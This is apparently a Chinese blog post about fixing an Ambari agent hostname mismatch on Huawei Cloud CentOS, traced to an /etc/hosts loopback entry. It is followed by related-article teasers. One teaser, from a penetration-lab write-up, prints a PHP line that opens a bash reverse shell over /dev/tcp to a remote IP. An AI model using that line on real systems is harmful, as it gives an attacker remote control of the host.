华为云centos7.9按装ambari 2.7.5 hostname 踩坑记录

华为云centos7.9按装ambari 2.7.5踩坑记录

      • 前言
      • 升华
      • 总结

前言

一般都是废话,本人专业写bug业余运维。起初找了三台不废弃的台式机,开始重装centos系统,开始了HDP3.1.5+Ambari2.7.5安装。
推荐一波好文,一路长绿。跑了一段时间没啥问题,项目开始推线上,兴起冲冲申请费用,开了几台ECS机器8C 16G 嘻嘻嘻 。有了前面的经验,这路子熟

  • 配置好免密
  • 修改hostname
  • 装好mysql
    噼里啪啦一顿傻瓜式的操作。初始化机器以及按装agent这一步报错如下:
  bash: /var/lib/ambari-agent/bin/ambari-agent: Is a directory("INFO 2024-09-19 17:31:34,198 DataCleaner.py:120 - Data cleanup startedINFO 2024-09-19 17:31:34,199 DataCleaner.py:122 - Data cleanup finishedINFO 2024-09-19 17:31:34,199 hostname.py:67 - agent:hostname_script configuration not defined thus read hostname 'localhost.localdomain' using socket.getfqdn().ERROR 2024-09-19 17:31:34,199 main.py:269 - Ambari agent machine hostname (localhost.localdomain) does not match expected ambari server hostname (hdp02). Aborting registration. Please check hostname, hostname -f and /etc/hosts file to confirm your hostname is setup correctlyINFO 2024-09-19 17:31:34,199 ExitHelper.py:57 - Performing cleanup before exiting...INFO 2024-09-19 17:31:34,200 AlertSchedulerHandler.py:159 - [AlertScheduler] Stopped the alert scheduler.INFO 2024-09-19 17:31:34,200 AlertSchedulerHandler.py:159 - [AlertScheduler] Stopped the alert scheduler.INFO 2024-09-19 17:32:44,751 main.py:155 - loglevel=logging.INFOINFO 2024-09-19 17:32:44,754 Hardware.py:68 - Initializing host system information.INFO 2024-09-19 17:32:44,759 Hardware.py:188 - Some mount points were ignored: /dev, /dev/shm, /run, /sys/fs/cgroup, /run/user/0  

Amabri agent 获取hostname为localhost.localdomain 看了一下 cat /etc/hosts,获取的是本地回环地址。
hostname -f cat /etc/hostname 都没啥问题,可能是没看日历,或者少拜一步,在这里插入图片描述重启 ambari-server …

报错依旧,可能操作姿势不太对,下定决心重做系统。在这里插入图片描述这次应该没事了…

报错照旧,本着专业写bug的态度,就找了一下hostname.py 这个文件find / -name 'hostname.py' 获取hostname 方式。调用Ambari 开发者确实厉害,提供了很多便利的地方,获取hostname 可以允许自行配置hostname_script。当然本地的三台机器我也是这么傻瓜式的按装的呢,没配置最后走 socket.getfqdn() 获取全局限定域名,源码如下 :

def hostname(config):global cached_hostnameif cached_hostname is not None:return cached_hostnametry:scriptname = config.get('agent', 'hostname_script')try:osStat = subprocess32.Popen([scriptname], stdout=subprocess32.PIPE, stderr=subprocess32.PIPE)out, err = osStat.communicate()if (0 == osStat.returncode and 0 != len(out.strip())):cached_hostname = out.strip()logger.info("Read hostname '{0}' using agent:hostname_script '{1}'".format(cached_hostname, scriptname))else:logger.warn("Execution of '{0}' failed with exit code {1}. err='{2}'\nout='{3}'".format(scriptname, osStat.returncode, err.strip(), out.strip()))cached_hostname = socket.getfqdn()logger.info("Read hostname '{0}' using socket.getfqdn() as '{1}' failed".format(cached_hostname, scriptname))except:cached_hostname = socket.getfqdn()logger.warn("Unexpected error while retrieving hostname: '{0}', defaulting to socket.getfqdn()".format(sys.exc_info()))logger.info("Read hostname '{0}' using socket.getfqdn().".format(cached_hostname))except:cached_hostname = socket.getfqdn()logger.info("agent:hostname_script configuration not defined thus read hostname '{0}' using socket.getfqdn().".format(cached_hostname))cached_hostname = cached_hostname.lower()return cached_hostname

执行 python 输入 import socket 继续输入print(socket.gethostname())
嗯,是配置过的名字。再次输出print(socket.getfqdn()) 哦豁返回的是 location.localdomain, 果然报错日志没骗我,对比一下本地机器的输入输出 本地机器正常。心里有一万个***在奔腾,然后提了个工单,截图如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

最后说我调用的函数有问题,ambari 确实不是遥遥领先写得坚决不能承认问题 在这里插入图片描述 在这里插入图片描述 。当然也有决绝方式,不能正常返回就退一步,退一步不行再退一步,修改vim /etc/ambari-agent/conf/ambari-agent.ini 指定一下hostname_script 配置,配置如下:

#!/bin/bash  
hostname=$(hostname -f)  # 获取完全限定域名  
echo $hostname

修改 vim /etc/ambari-agent/conf/ambari-agent.ini

[agent]  
hostname_script=/path/to/hostname.sh

继续按装,其他节点有问题,就同步一份。后来仔细想了想,不行肯定还有其他地方用到hostname.py 索性直接把 hostname.py改了算了,简单暴力 直接全局替换 socket.getfqdn() -> socket.gethostname()。ambari agent 检查过了 在这里插入图片描述 ,装好了(还有其他乱七八问题) 后到了下班点,下班牛马周末继续。

第二天早起看到华为云的工单,然后继续说我的用的函数有问题在这里插入图片描述在这里插入图片描述

, 我专业写bug的是我想用啥就用啥的吗?这解决问题的态度跟我朋友一样,能解决的问题看心情解决一下,解决不了的就先把提问题的解决掉。这两天刷抖音看到的毒鸡汤也有点多,退步换来的只有得寸进尺。最后小哥也给我打电话解释了,他专业业有限,也问过os那边的同事 确定hostname配置没错。他说那总结了一下是调用函数的问题,继续离谱,然后说客户也有很多其他问题,阿里云没问题切换华为云就这问题那问题的。本人只是为了解决问题,既然他们靠不住,自己再试试,业余运维真心不敢乱改源码,尤其这种组件的,后期爆个雷,真的从程序和人一个能跑选后者了。担心的还主要是万一hadoop中间件内部也有用这种方式获取hostname的。bug写多了有点后怕。

查了一下 配置fqdn的文章。直接不让配置的hostname走回环地址,利用

nmcli general hostname hadoop-0002.com
nmcli networking off 
nmcli networking on

注意 最好在华为云控制台远程登录,因为涉及到网络重启,有可能执行nmcli networking off 链接有会断。

重新试了一下 惊奇的发现socket.getfqdn()正确返回了 在这里插入图片描述 继续重做系统,每台机器都执行一下,最后完美搭建~。

升华

问题是让socket.getfqdn()返回正确的hostname,那么为何不从hosts文件入手或者看一下getfqdn()是如何返回的。推荐一波 看到前面我懵了 在这里插入图片描述 直接把hosts文件里的hostname对应的回环地址那一行删掉不就行了

[root@tms-0002 ~]# cat /etc/hosts
::1	localhost	localhost.localdomain	localhost6	localhost6.localdomain6
127.0.0.1	localhost	localhost.localdomain	localhost4	localhost4.localdomain4
127.0.0.1	tms-0002	tms-0002
192.168.11.90 tms01
192.168.11.138 tms02
192.168.11.190 tms03
[root@tms-0002 ~]# vim /etc/hosts
[root@tms-0002 ~]# python
Python 2.7.5 (default, Nov 14 2023, 16:14:06)
[GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import socket
>>> socket.getfqdn()
'tms-0002'
>>>

在这里插入图片描述 没错就是127.0.0.1 tms-0002 tms-0002 这一行。HDP装好了,算求不重新搞了~
在这里插入图片描述

总结

回顾一下,其实问题也不是啥大问题,就是因为 华为云初始化机器的时候,hosts文件中多了一行hostname 走回环的配置。前面废话有点多,只是记录一下问题解决的过程。有问题留言第一时间解决~ 在这里插入图片描述 吐槽一下幸亏华为云没喊遥遥领先,也不确定是否真联系了,授权也给他们开了,自由登录服务,最后这答复 问题没解决差点给我解决了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/146560.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

3DMAX乐高积木插件LegoBlocks使用方法

3DMAX乐高积木插件LegoBlocks,用户可以通过控件调整和自定义每个乐高积木的外观和大小。 【适用版本】 3dMax2009或更高版本(不仅限于此范围) 【安装方法】 3DMAX乐高积木插件无需安装,使用时直接拖动插件脚本文件到3dMax视口中…

适用于 Windows 的 7 大数据恢复工具,可靠的数据恢复工具可有效地恢复丢失的文件

数据丢失可能是一种令人沮丧的经历,无论是由于意外删除、磁盘格式化还是系统崩溃。幸运的是,Windows 用户可以使用几种可靠的数据恢复工具来有效地恢复丢失的文件。以下是前七名数据恢复工具的综述,包括奇客数据恢复产品: 适用于 …

大数据新视界 --大数据大厂之 Node.js 与大数据交互:实现高效数据处理

💖💖💖亲爱的朋友们,热烈欢迎你们来到 青云交的博客!能与你们在此邂逅,我满心欢喜,深感无比荣幸。在这个瞬息万变的时代,我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

物理学基础精解【7】

文章目录 平面方程直角坐标及基本运算 参考文献 平面方程 直角坐标及基本运算 向量的四则运算 下面由文心一言自动生成 向量的四则运算主要包括加法、减法、数乘(标量乘法)和数量积(点积或内积),但通常不直接称为“除…

CANopen通讯协议笔记

CANopen通讯协议笔记 CANopen 通信对象编号CANopen整体框架网络管理(NMT)主要任务上线报文心跳报文过程数据对象(PDO)SDO服务数据对象对象字典概述 CANopen 通信对象编号 CANopen报文传输采用 CAN 标准帧格式。 这里的CAN-ID也叫…

互联网全景消息(5)之RocketMq快速入门(下)

一、RocketMQ的存储设计 1.1 Domain Model 1.1.1 Message Message是RocketMQ消息引擎中的主体。messageId是全局唯一的。MessageKey是业务系统(生产者)生成的,所以如果要结合业务,可以使用MessageKey作为业务系统的唯一索引。 1.1.2 Topic subTopics==Message Queue,其实…

0基础学习HTML(十)表格

HTML 表格 HTML 表格由 <table> 标签来定义。 HTML 表格是一种用于展示结构化数据的标记语言元素。 每个表格均有若干行&#xff08;由 <tr> 标签定义&#xff09;&#xff0c;每行被分割为若干单元格&#xff08;由 <td> 标签定义&#xff09;&#xff0c…

计算机毕业设计之:基于微信小程序的校园流浪猫收养系统

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

YOLOV8 OpenCV + usb 相机 实时识别

1 OpenCV 读相机 import cv2cap cv2.VideoCapture(0) while (1):# get a frameret, frame cap.read()# show a framecv2.imshow("capture", frame)if cv2.waitKey(1) & 0xFF ord(q):# cv2.imwrite("/opt/code/image/fangjian2.jpeg", frame)#passb…

前端-js例子:tab切换

实现效果&#xff1a; 实现步骤&#xff1a; 1. body内容元素 <div class"container"><ul class"top_title"><li class"first" index"1">title1</li><li index"2">title2</li><li …

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

Vue使用axios二次封装、解决跨域问题

1、什么是 axios 在实际开发过程中&#xff0c;浏览器通常需要和服务器端进行数据交互。而 Vue.js 并未提供与服务器端通信的接口。从 Vue.js 2.0 版本之后&#xff0c;官方推荐使用 axios 来实现 Ajax 请求。axios 是一个基于 promise 的 HTTP 客户端。 关于 promise 的详细介…

专为汽车功能应用打造的 MLX90376GGO、MLX90377GGO、MLX90377GDC-ADB-280 Triaxis®磁位置传感器 IC

一、MLX90376 Triaxis堆叠式高性能位置传感器芯片&#xff08;模拟/PWM/SENT/SPC&#xff09; MLX90376GGO-ABA-600 MLX90376GGO-ABA-630 MLX90376GGO-ABA-680 MLX90376是一款磁性绝对位置传感器芯片&#xff0c;适用于要求具备抗杂散磁场干扰性能的360旋转汽车应用。它提供…

Matlab进阶绘图第68期—带分组折线段的分区柱状图

上一篇文章分享了分区柱状图的绘制方法&#xff1a; 带分组折线段的分区柱状图是在原始分区柱状图的基础上&#xff0c;再添加分组折线段&#xff0c;用以增加一个对象的表达。 由于Matlab中未收录的带分组折线段的分区柱状图的绘制方法&#xff0c;因此需要大家自行解决。 本…

C++进阶(2):多态

多态的概念 多态分为编译时多态(静态多态)和运行时多态(动态多态)。**编译时多态&#xff1a;**主要就是我们前面讲的函数重载和函数模版。之所以叫编译时多态&#xff0c;是因为实参传给形参的参数匹配是发生在编译时完成的&#xff08;ps&#xff1a;通常把编译时一般归为静…

Java项目实战II基于Java+Spring Boot+MySQL的网上租贸系统设计与实现(开发文档+源码+数据库)

目录 一、前言 二、技术介绍 三、系统实现 四、论文参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 "随着…

面试-设计模式

策略模式 定义了一组算法&#xff0c;分别封装起来&#xff0c;这些算法直接可以相互替换 设计模式的开闭原则&#xff1a;对修改关闭&#xff0c;对扩展开放 装饰模式 将某种算法作为一个装饰品添加到对象身上&#xff0c;同时可以自由穿戴更换装饰品 两个主要的角色&…

游戏淡入淡出效果

一、制作UIdocument 注&#xff1a;是全黑的&#xff1b;并且Picking Mode设置为Igore 通过调节display中的值&#xff0c;实现淡入淡出效果 二、建立空物体 增加uiDocument 拖入相关的物体 注&#xff1a;层级必须设置为最高&#xff0c;此处为20&#xff0c;这个效果必须遮…

MySQL深入原理

MySQL深入原理 索引、事务、日志原理、InnoDB引擎、缓存、锁 有4个数据库是属于MySQL自带的系统数据库&#xff1a; ​ mysql MySQL 系统自带的核心数据库&#xff0c;它存储了MySQL的用户账户和权限信息&#xff0c;一些存储过程、事件的定义信息&#xff0c;一些运行过程中…

波分技术基础 -- Liquid OTN

什么是Liquid OTN 传统OTN技术主要定位于骨干网和城域网应用&#xff0c;主要用于承载大于1Gbits/s速率业务&#xff0c;在OTN下沉到城域/接入网后&#xff0c;面临如下问题&#xff1a;管道弹性不足&#xff08;最小管道ODU0&#xff09;、连接数少、带宽调整不够灵活等挑战。…